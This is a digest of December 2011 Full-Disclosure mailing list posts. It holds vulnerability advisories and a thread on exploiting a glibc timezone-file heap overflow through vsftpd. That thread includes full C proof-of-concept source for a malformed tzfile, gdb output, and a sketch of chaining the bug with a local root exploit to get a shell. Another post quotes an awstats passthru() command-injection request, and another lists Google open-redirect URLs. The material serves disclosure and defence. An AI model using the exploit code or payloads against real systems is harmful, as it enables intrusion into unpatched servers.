Re: [Full-disclosure] Firefox forensics with SQLite Manager at InfoSec Institute
On 12/12/2011 18:30, Adam Behnke wrote: Hello, a recent article here on how to perform forensics investigations on Firefox with SQLite Manager: http://resources.infosecinstitute.com/firefox-and-sqlite-forensics/ This is relevant because it is easy to install, doesn’t require you to buy a $4,000 forensic software tool (Encase, FTK, etc.), and gives you lots of good data on forms, cookies, addons, extension, SSL sessions, etc. Your thoughts? ---8 Signons – this is a repository of all places that the user has kept their username and login stored in the browser. All the passwords are hashed, but using rainbow tables they can be guessed depending on how the user manages password security. 8--- Can you elaborate on that? I thought that just extracting the profile directoy and loading it on a portable installation is enough to view saved passwords.. Firefox needs to be able to use their plaintext-version when logging on a website form, so it needs to use two-way cryptography. I guess you just mean if the user set a master password or not, or am i missing something? Fabio Bas ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Secunia Research: Winamp AVI Parsing Two Integer Overflow Vulnerabilities
== Secunia Research 12/12/2011 - Winamp AVI Processing Two Integer Overflow Vulnerabilities - == Table of Contents Affected Software1 Severity.2 Vendor's Description of Software.3 Description of Vulnerability.4 Solution.5 Time Table...6 Credits..7 References...8 About Secunia9 Verification10 == 1) Affected Software * Winamp 5.622 NOTE: Prior versions may also be affected. == 2) Severity Rating: Highly critical Impact: System access Where: From remote == 3) Vendor's Description of Software The way you listen, watch, manage and sync your media. Winamp is for people who like to customize, tinker and tweak: offering the widest range of extensions, skins, and services to add to your listening experience. Product Link: http://www.winamp.com/ == 4) Description of Vulnerability Secunia Research has discovered two vulnerabilities in Winamp, which can be exploited by malicious people to compromise a user's system. 1) An integer overflow error in the in_avi.dll plugin when allocating memory using the number of streams header value can be exploited to cause a heap-based buffer overflow via a specially crafted AVI file. 2) An integer overflow error in the in_avi.dll plugin when allocating memory using the RIFF INFO chunk's size value can be exploited to cause a heap-based buffer overflow via a specially crafted AVI file. == 5) Solution Update to version 5.623. == 6) Time Table 16/11/2011 - Vendor notified. 16/11/2011 - Vendor response. 12/12/2011 - Vendor released fixed version. == 7) Credits Discovered by Dmitriy Pletnev, Secunia Research. == 8) References The Common Vulnerabilities and Exposures (CVE) project has assigned CVE-2011-3834 for the vulnerabilities. == 9) About Secunia Secunia offers vulnerability management solutions to corporate customers with verified and reliable vulnerability intelligence relevant to their specific system configuration: http://secunia.com/advisories/business_solutions/ Secunia also provides a publicly accessible and comprehensive advisory database as a service to the security community and private individuals, who are interested in or concerned about IT-security. http://secunia.com/advisories/ Secunia believes that it is important to support the community and to do active vulnerability research in order to aid improving the security and reliability of software in general: http://secunia.com/secunia_research/ Secunia regularly hires new skilled team members. Check the URL below to see currently vacant positions: http://secunia.com/corporate/jobs/ Secunia offers a FREE mailing list called Secunia Security Advisories: http://secunia.com/advisories/mailing_lists/ == 10) Verification Please verify this advisory by visiting the Secunia website: http://secunia.com/secunia_research/2011-81/ Complete list of vulnerability reports published by Secunia Research: http://secunia.com/secunia_research/ == ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 12/12/2011 11:22 AM, Ramon de C Valle wrote: I havent looked into it yet, just saw the 0x41414141 in the registers and assumed it is exploitable.I will have a look into it when I find time and post the results here. Just some additional information about what probably happened in your case, and why I've asked if this behaviour is consistent. In Red Hat Enterprise Linux 6, vsftpd-2.2.2, and glibc 2.12: [...] (gdb) c Continuing. Program received signal SIGABRT, Aborted. 0x009c2424 in __kernel_vsyscall () (gdb) bt #0 0x009c2424 in __kernel_vsyscall () #1 0x001bdd31 in raise () from /lib/libc.so.6 #2 0x001bf60a in abort () from /lib/libc.so.6 #3 0x001fbd5d in __libc_message () from /lib/libc.so.6 #4 0x002021a1 in malloc_printerr () from /lib/libc.so.6 #5 0x00222ca3 in __tzfile_read () from /lib/libc.so.6 #6 0x00222348 in tzset_internal () from /lib/libc.so.6 #7 0x00222491 in __tz_convert () from /lib/libc.so.6 #8 0x0022078f in localtime () from /lib/libc.so.6 #9 0x00180f1d in ?? () #10 0x001769de in ?? () #11 0x00176cb8 in ?? () #12 0x001701aa in ?? () #13 0x00172758 in ?? () #14 0x0017a46e in ?? () #15 0x0017a937 in ?? () #16 0x0016d58d in main () (gdb) f 5 #5 0x00222ca3 in __tzfile_read () from /lib/libc.so.6 (gdb) i r eax0x0 0 ecx0x53e 1342 edx0x6 6 ebx0x319ff4 3252212 esp 0xbfb34fc80xbfb34fc8 ebp0xbfb350dc0xbfb350dc esi 0x1f4 500 edi0x12cf0f819722488 eip0x222ca3 0x222ca3 __tzfile_read+83 eflags 0x200202 [ IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/i $eip = 0x222ca3 __tzfile_read+83: movl $0x0,0x9c0(%ebx) (gdb) i r ebx ebx0x319ff4 3252212 (gdb) x/x $ebx+0x9c0 0x31a9b4 transitions: 0x012ce928 (gdb) x/i $eip = 0x222ca3 __tzfile_read+83: movl $0x0,0x9c0(%ebx) (gdb) 0x222cad __tzfile_read+93: lea-0xc(%ebp),%esp (gdb) 0x222cb0 __tzfile_read+96: pop%ebx (gdb) 0x222cb1 __tzfile_read+97: pop%esi (gdb) 0x222cb2 __tzfile_read+98:pop%edi (gdb) 0x222cb3 __tzfile_read+99: pop%ebp (gdb) 0x222cb4 __tzfile_read+100: ret (gdb) As I mentioned, this is detected by glibc when freeing our controlled chunk (i.e. transitions), before returning from __tzfile_read. In the video, I see you used dividead's exploit without change, thus malloc(0) most likely allocated from fast bins, and you probably had the __tzfile_read (i.e. f) file structure allocated nearby within the ~5 adjacent bytes, and had this corrupted at some place in main arena (since file structures are larger than 64 bytes and will not be allocated from fast bins). You probably will see this behaviour repeat, but most likely the file structure will not be located at the same offset in your buffer. For SELinux, unfortunately it seems that with the appropriate configuration of allow_ftpd_full_access disabled and ftp_home_dir enabled, a vsftpd process chrooted and confined (i.e. ftpd_t) allow locale files to be opened not having the locale_t type (i.e. user_home_t, in this case), which if don't allow would have completely mitigated this issue. Dan, could you fix this in SELinux policy? Thanks, Ramon, not sure I understand, what are you trying to prevent here? -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk7mLiUACgkQrlYvE4MpobNtwgCfZ5sbCzTua49wu3DOXklNZdQe JVYAoMgpYq4fXoqQj5kVig9oyTzU8uP6 =LTnJ -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 12/12/2011 11:58 AM, Ramon de C Valle wrote: Ramon, not sure I understand, what are you trying to prevent here? Hello Dan, vsftpd processes open locale files from the /usr/share/zoneinfo directory, which are expected to have the locale_t type. A chrooted user can create a specially-crafted locale file in /home/user/usr/share/zoneinfo directory to try exploiting this glibc vulnerability. However, the specially-crafted locale file created will have the user_home_t type and not the locale_t. SELinux rules for vsftpd (i.e. ftpd_t) allowing only opening locale files from usr_t directories with locale_t type should have completely mitigated this. But how can I state that ftp has access to the users homedir and not allow access to user_home_t? -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk7mNjoACgkQrlYvE4MpobNg6gCgr/KHGKC09Li1BwoFthepsEor KYEAn3/HJ8frW/21GiZfw/tL9waf7Irx =f5NM -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] New awstats.pl vulnerability?
Today we are also seeing requests like this one which is looking to
exploit CVE-2008-3922:
GET /awstatstotals/awstatstotals.php ?
sort={${passthru(chr(105).chr(100))}}{${exit()}}
On Tue, Dec 13, 2011 at 2:17 AM, Nikolay Kichukov hijac...@oldum.net wrote:
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Same here, I even tried to notify a bunch of the ISP registrators of the IP
address range those originated from.
- -Nik
On 12/13/2011 07:30 AM, Bruce Ediger wrote:
On Mon, 12 Dec 2011, Lamar Spells wrote:
For the past several days, I have been seeing thousands of requests
looking for awstats.pl like this one:
Yeah, me too. They just started up. I haven't seen any awstats.pl
requests since 2010-05-18, and now I've gotten batches of them, since
about 2011-11-22, but heavier since the start of December.
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
iQEcBAEBAgAGBQJO5vwQAAoJEDFLYVOGGjgX8oEH/i3kjBAtJcT1DJvJVcRX4O+9
t2UcvehxpyjalhCttTmQrE8EcLrtGS62K0ZziNQPvXirOtJ0ERcaARsQFiTT7fCi
YyEuNDa15nx+wS2dgnKWEyCjz356RobtXgFflrbfHNPmBCRGd/qM3VzquUDYRdef
E+JtU0J3RgilXxMFLrZK5GHwZOUKNebv/T6bRPescMzRsX/DO89Csv0kWJM9xvyI
kd0El+/thw8aj9/21dB/JWhdbiBozuKd2MG1hTog/xKFVzVqdTzkNoZ7Ok15n91v
LoAx7cLqDInmx1syDLOSMhzRoyqGAA9Uq/WuTpDqTDcHjVwjGJPeYjc97dIJWdY=
=0+7+
-END PGP SIGNATURE-
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Secunia Research: Sterling Trader Data Processing Buffer Overflow Vulnerability
== Secunia Research 13/12/2011 - Sterling Trader Data Processing Buffer Overflow Vulnerability - == Table of Contents Affected Software1 Severity.2 Vendor's Description of Software.3 Description of Vulnerability.4 Solution.5 Time Table...6 Credits..7 References...8 About Secunia9 Verification10 == 1) Affected Software * Sterling Trader 7.0.2 NOTE: Other versions may also be affected. == 2) Severity Rating: Moderately critical Impact: System access Where: From local network == 3) Vendor's Description of Software Sterling Trader is a broker-neutral, independent service bureau providing advanced trading software and global network technology to financial institutions and professional traders around the world. Our state of the art computer network and innovative trading tools make Sterling Trader the broker network of choice. Product Link: http://www.sterlingtrader.com/ == 4) Description of Vulnerability Secunia Research has discovered a vulnerability in Sterling Trader, which can be exploited by malicious people to compromise a vulnerable system. The vulnerability is caused due to a boundary error in Base.exe when processing network requests (code 176). This can be exploited to cause a stack-based buffer overflow via a specially crafted packet sent to a certain TCP port. Successful exploitation allows execution of arbitrary code, but requires guessing the TCP port, which is dynamically assigned. == 5) Solution Restrict access to trusted hosts only. == 6) Time Table 25/11/2011 - Requested security contact. 06/12/2011 - 2nd request for a security contact. 13/12/2011 - Public disclosure. == 7) Credits Discovered by Dmitriy Pletnev, Secunia Research. == 8) References The Common Vulnerabilities and Exposures (CVE) project has assigned CVE-2011-3842 for the vulnerability. == 9) About Secunia Secunia offers vulnerability management solutions to corporate customers with verified and reliable vulnerability intelligence relevant to their specific system configuration: http://secunia.com/advisories/business_solutions/ Secunia also provides a publicly accessible and comprehensive advisory database as a service to the security community and private individuals, who are interested in or concerned about IT-security. http://secunia.com/advisories/ Secunia believes that it is important to support the community and to do active vulnerability research in order to aid improving the security and reliability of software in general: http://secunia.com/secunia_research/ Secunia regularly hires new skilled team members. Check the URL below to see currently vacant positions: http://secunia.com/corporate/jobs/ Secunia offers a FREE mailing list called Secunia Security Advisories: http://secunia.com/advisories/mailing_lists/ == 10) Verification Please verify this advisory by visiting the Secunia website: http://secunia.com/secunia_research/2011-83/ Complete list of vulnerability reports published by Secunia Research: http://secunia.com/secunia_research/ == ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Exploiting glibc __tzfile_read integer overflow to buffer overflow and vsftpd
Exploiting glibc __tzfile_read integer overflow to buffer overflow and vsftpd http://rcvalle.com/post/14169476482/exploiting-glibc-tzfile-read-integer-overflow-to -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Exploiting glibc __tzfile_read integer overflow to buffer overflow and vsftpd
Hi, I read through your blog post with much excitement as it seems you got your way through to a stable way to exploit this vulnerability, congrats to that. Apart from the discussion on how to exploit the heap overrun I just want to mention that to exploit this bug in vsftpd you have to break the chroot as done in the FreeBSD ftpd/proftpd case, and for this you need to have root privileges. Since vsftpd uses privilege seperation one might use a linux local root exploit through the syscall interface to get root. so for example one way would be: 1.) upload a customized statically linked local root exploit which will break chroot and drop the shell as either portbind or connectback or any other method 2.) exploit the heap overrun to do an execve to the linux local root 3.) the customized local root binary will first get root privs and then for example use ptrace to break chroot and send the shell back to the attacker. Now this would be nice to see in a real exploit since I have not seen such a technique be used anywhere anytime. Regards, Kingcope ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Two other Google open redirects
Hi List, Here's another open redirect that works. https://accounts.google.com/o/oauth2/auth?redirect_uri=http://www.bing.com This works as well. https://www.google.com/search?btnIq=http://www.bing.com -- Regards, Riyaz Walikar ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 12/12/2011 07:37 PM, Ramon de C Valle wrote: But how can I state that ftp has access to the users homedir and not allow access to user_home_t? This is a good question. Actually, we shouldn't allow ftpd_t read the locale files from within user_home_t directories. But now I'm not sure if this will be possible. A different file context for /home/(.*)/usr/share/zoneinfo(/.*) in vsftpd policy module would be a feasible solution? Will ftpd_t honour this when creating new files? If you want to prevent apps from reading zoneinfo files that a user can write and read files a user can write, you will loose. Why are you setting up the chroot with content a user can write too? If you simply prevent him from writing to /usr/share, won't that solve the problem? -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk7nm8MACgkQrlYvE4MpobPNTQCfVp6Dqqq/1M6IID8bmQ+WckxA ocQAoMluitPtotAwImWn2dKLguz4u5VF =vX9u -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] vsFTPd remote code execution
as you can obviously see vsftpd loads the /lib/libgcc_s.so.1 inside
the chroot,
so voila we have the same issue as with FreeBSD ftpd/proftpd.
I am now looking into the possibility to modify
http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c
and use as the library. It will be a fun Proof of Concept.
Hats off to you! :)
Anyone with an up2date linux local root which only makes use of
syscalls? :
All this was tested on a CentOS 5.5 installation, vsFTPd 2.3.4 was
compiled from sources
and launched from xinetd.
I've also triggered this in RHEL 6 with its latest version of vsftpd installed
with the following changes made to dividead's exploit:
--- a.c 2011-12-13 18:05:50.70190 -0200
+++ b.c 2011-12-13 18:06:26.87406 -0200
@@ -59,8 +59,8 @@
total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
~(__alignof__ (struct ttinfo) - 1));
-/* value of chars, to get a malloc(0) */
-evil2 = 0 - total_size;
+/* value of chars, to get a malloc(500) */
+evil2 = 0 - total_size + 500;
PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
p = (char *)evil;
@@ -68,6 +68,6 @@
printf(%c, p[i]);
/* data we overflow with */
-for (i = 0; i 5; i++)
+for (i = 0; i 50; i++)
printf(A);
}
--
Ramon de C Valle / Red Hat Security Response Team
#include stdio.h
#include stdint.h
#include time.h
#include string.h
#define TZ_MAGICTZif
#define PUT_32BIT_MSB(cp, value)\
do {\
(cp)[0] = (value) 24;\
(cp)[1] = (value) 16;\
(cp)[2] = (value) 8; \
(cp)[3] = (value); \
} while (0)
struct tzhead {
chartzh_magic[4];
chartzh_version[1];
chartzh_reserved[15];
chartzh_ttisgmtcnt[4];
chartzh_ttisstdcnt[4];
chartzh_leapcnt[4];
chartzh_timecnt[4];
chartzh_typecnt[4];
chartzh_charcnt[4];
};
struct ttinfo
{
long int offset;
unsigned char isdst;
unsigned char idx;
unsigned char isstd;
unsigned char isgmt;
};
int main(void)
{
struct tzhead evil;
int i;
char *p;
uint32_t total_size;
uint32_t evil1, evil2;
/* Initialize static part of the header */
memcpy(evil.tzh_magic, TZ_MAGIC, sizeof(TZ_MAGIC) - 1);
evil.tzh_version[0] = 0;
memset(evil.tzh_reserved, 0, sizeof(evil.tzh_reserved));
memset(evil.tzh_ttisgmtcnt, 0, sizeof(evil.tzh_ttisgmtcnt));
memset(evil.tzh_ttisstdcnt, 0, sizeof(evil.tzh_ttisstdcnt));
memset(evil.tzh_leapcnt, 0, sizeof(evil.tzh_leapcnt));
memset(evil.tzh_typecnt, 0, sizeof(evil.tzh_typecnt));
/* Initialize nasty part of the header */
evil1 = 500;
PUT_32BIT_MSB(evil.tzh_timecnt, evil1);
total_size = evil1 * (sizeof(time_t) + 1);
total_size = ((total_size + __alignof__ (struct ttinfo) - 1)
~(__alignof__ (struct ttinfo) - 1));
/* value of chars, to get a malloc(500) */
evil2 = 0 - total_size + 500;
PUT_32BIT_MSB(evil.tzh_charcnt, evil2);
p = (char *)evil;
for (i = 0; i sizeof(evil); i++)
printf(%c, p[i]);
/* data we overflow with */
for (i = 0; i 50; i++)
printf(A);
}
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] vsFTPd remote code execution
On Tue, Dec 13, 2011 at 3:11 PM, HI-TECH . isowarez.isowarez.isowa...@googlemail.com wrote: Yes you are somewhat right, as this is the old discussion about if code execution inside an ftpd is a vulnerability itself or only local code execution. I have the opinion that an ftpd which does not allow to run code should restrict the user so, and if there is a way to execute code it it is a vulnerability. Take the example of a vsftpd configured for anonymous ftp and write access in /var/ftp. The attacker might execute code using the vulnerability without authentication credentials, or for example an attacker only has access to a user account configured for ftp. Basically you are right, vsftpd uses privsep so its a not so risky vulnerability. /Kingcope I completely misread what you were asking about before. You're exactly right, disregard my previous comment. -Dan Am 13. Dezember 2011 20:56 schrieb Dan Rosenberg dan.j.rosenb...@gmail.com: Anyone with an up2date linux local root which only makes use of syscalls? : This is all fun stuff, and definitely worth looking into further, but if you've got a local kernel exploit that you can trigger from inside vsftpd, you don't need this (potential) vulnerability in vsftpd - you already win. -Dan ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Two other Google open redirects
Riyaz Walikar wrote: Here's another open redirect that works. https://accounts.google.com/o/oauth2/auth?redirect_uri=http://www.bing.com Nice. That's a bit like the backlink (bl) one from the settings page on the mobile page that Google fixed a week or so back after the spammers had been hammering away at it for a month or more. This works as well. https://www.google.com/search?btnIq=http://www.bing.com That is the very long-known I'm Feeling Lucky search open redirector. http://www.virusbtn.com/resources/spammerscompendium/lucky.xml Again, the spammers used that for ages, but I was fairly sure that it had been fixed. Michal, Tavis -- regression management problems in the Googleplex? Surely not... Regards, Nick FitzGerald ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] ZDI-11-346 : Microsoft Office 2007 Office Art Shape Record Hierarchy Parsing Remote Code Execution Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ZDI-11-346 : Microsoft Office 2007 Office Art Shape Record Hierarchy Parsing Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-11-346 December 13, 2011 - -- CVE ID: CVE-2011-3413 - -- CVSS: 7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P - -- Affected Vendors: Microsoft Microsoft - -- Affected Products: Microsoft Office Excel Microsoft Office PowerPoint - -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 11931. For further product information on the TippingPoint IPS, visit: http://www.tippingpoint.com - -- Vulnerability Details: This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Office 2007. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within how the application processes a shape record hierarchy. Due to the application not properly checking the types of elements within containers, the application will incorrectly modify a property of the object. This modification can be used to cause memory corruption of the type which can lead to code execution under the context of the application. - -- Vendor Response: Microsoft has issued an update to correct this vulnerability. More details can be found at: http://technet.microsoft.com/en-us/security/bulletin/MS11-094 - -- Disclosure Timeline: 2011-06-29 - Vulnerability reported to vendor 2011-12-13 - Coordinated public release of advisory - -- Credit: This vulnerability was discovered by: * Anonymous - -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. TippingPoint does not re-sell the vulnerability details or any exploit code. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ Follow the ZDI on Twitter: http://twitter.com/thezdi -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.17 (MingW32) iQEcBAEBAgAGBQJO58YQAAoJEFVtgMGTo1scY5AH/ihf6DYB2HSDkGandSrub6yQ NYbm0PmI7XitaW2UuefSxIXEi8t0duj8vJSIIcGRaMCKVSOdp7cU9lQ/ORwLZ3J7 s/Ix/HMH9Bscz0gNtSu1kY1r8laVGsa2WrJON8nxsMaPXvEEYMS5Hg6S5kLfDvoi zwHBy/6LZJv21M6RyW5Dsmwksk5v4sjQBnnldCb0MyGKuHPeGBg8agbmHW2rFX+H w9+FOqbtMSddEjZx6+sfHYgH8bg3I//+XLeDaKh0TDQv0pBYvb2WEsvi6R6yJbfV BXyFB55LeKOoz1oD15KBZ/LrW8dXzkU/oFN7YbZF/efiO68tDrgxbuCcLUlXXOM= =XTKD -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] ZDI-11-347 : Microsoft Office Word Hidden Border Remote Code Execution Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ZDI-11-347 : Microsoft Office Word Hidden Border Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-11-347 December 13, 2011 - -- CVE ID: CVE-2011-1983 - -- CVSS: 9, AV:N/AC:L/Au:N/C:C/I:P/A:P - -- Affected Vendors: Microsoft - -- Affected Products: Microsoft Office Word - -- Vulnerability Details: This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Office Word 2007/2010. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within how the application handles a border containing a specific property. When parsing this property, the application will incorrectly free it. If the application attempts to render the object, a use-after-free condition can be made to occur. This can lead to code execution under the context of the application. - -- Vendor Response: Microsoft has issued an update to correct this vulnerability. More details can be found at: http://technet.microsoft.com/en-us/security/bulletin/MS11-089 - -- Disclosure Timeline: 2011-04-01 - Vulnerability reported to vendor 2011-12-13 - Coordinated public release of advisory - -- Credit: This vulnerability was discovered by: * Nikita Tarakanov (CISS Research Team) and Alexey Sintsov (Digital Security Research Group) - -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. TippingPoint does not re-sell the vulnerability details or any exploit code. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ Follow the ZDI on Twitter: http://twitter.com/thezdi -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.17 (MingW32) iQEcBAEBAgAGBQJO58ZeAAoJEFVtgMGTo1scmOwH/RBOwah5Il6/c3j8fQBtSccm 5pDhjKeQ1noYuNAvEixZUNYEp5Mr7/ndYv9kKpx81b8aXMx7CAHm+EsZLfvitvND FxrI8Ns9aisS3BvJn/GPTwjb/oLUIYAIr5ZdMjgXO93WSCh/BXaauHY160Be7DrI MeqQ/StXgdNJvi4Xr+xgKr3VDd5L6MEt4VJCQDy0ssxEpfdFI8IEEGwxbwPMqAA1 YUdfxYRCMjv3yNjXwSOUjJAPpAxAvi9YrQ5bc037Mzj2APEDetfn55WOsiCI/n6g B6pA7dnV1V5IDnS3puMmWOJJwZTb7vj3SdciqsM9xuGM/lm1T0ZHwgOGp/GvpT8= =Sg3G -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] ZDI-11-348 : HP OpenView NNM nnmRptConfig.exe nameParams Remote Code Execution Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ZDI-11-348 : HP OpenView NNM nnmRptConfig.exe nameParams Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-11-348 December 13, 2011 - -- CVE ID: CVE-2011-3165 - -- CVSS: 10, AV:N/AC:L/Au:N/C:C/I:C/A:C - -- Affected Vendors: Hewlett-Packard - -- Affected Products: Hewlett-Packard OpenView Network Node Manager - -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 10529. For further product information on the TippingPoint IPS, visit: http://www.tippingpoint.com - -- Vulnerability Details: This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of OpenView Network Node Manager. Authentication is not required to exploit this vulnerability. The specific flaw exists within nnmRotConfig.exe CGI program. When processing crafted nameParams parameters, there exists an insufficient boundary check that can lead to a insufficient heap buffer, enabling a heap overflow. This can lead to memory corruption which can be leveraged to execute arbitrary code under the context of the target service. - -- Vendor Response: Hewlett-Packard has issued an update to correct this vulnerability. More details can be found at: https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03054052 - -- Disclosure Timeline: 2011-05-12 - Vulnerability reported to vendor 2011-12-13 - Coordinated public release of advisory - -- Credit: This vulnerability was discovered by: * Aniway (aniway.any...@gmail.com) - -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. TippingPoint does not re-sell the vulnerability details or any exploit code. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ Follow the ZDI on Twitter: http://twitter.com/thezdi -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.17 (MingW32) iQEcBAEBAgAGBQJO58aVAAoJEFVtgMGTo1sciSwH+wZ9IJHT4yk19Ze/ufs0L7Vp +ePPrY+8D8S6ZxPkzROEyg9jLWyZJysWp89UU5iK6423pEX74kmIVA0whvkdkWsy ZrKi42ZsSIiNh7tPOq5zzoKp/gOTo+ocz9wJMx6z2sba9qigOHbHYQ2YI92Z4noB 5znnCTWnhMtIvO/Pj6SqHhp8/fZLU6G9KPytlZ4fS1cpPC/EC6tF8zbxPKFr4LsB Yzc1+vApw2bIiKwDEKNIvy0HqQuu29I1GzMTjMVVZoL87ZI2Zg1FWGhrlmGiVoaU 1fh0oYIiZ1vPcO8kB7Ixhziej9YVAvYKblr9yGhb133/obNguBO980Hf6EJrfQY= =Kwdn -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Carrier IQ for your phone
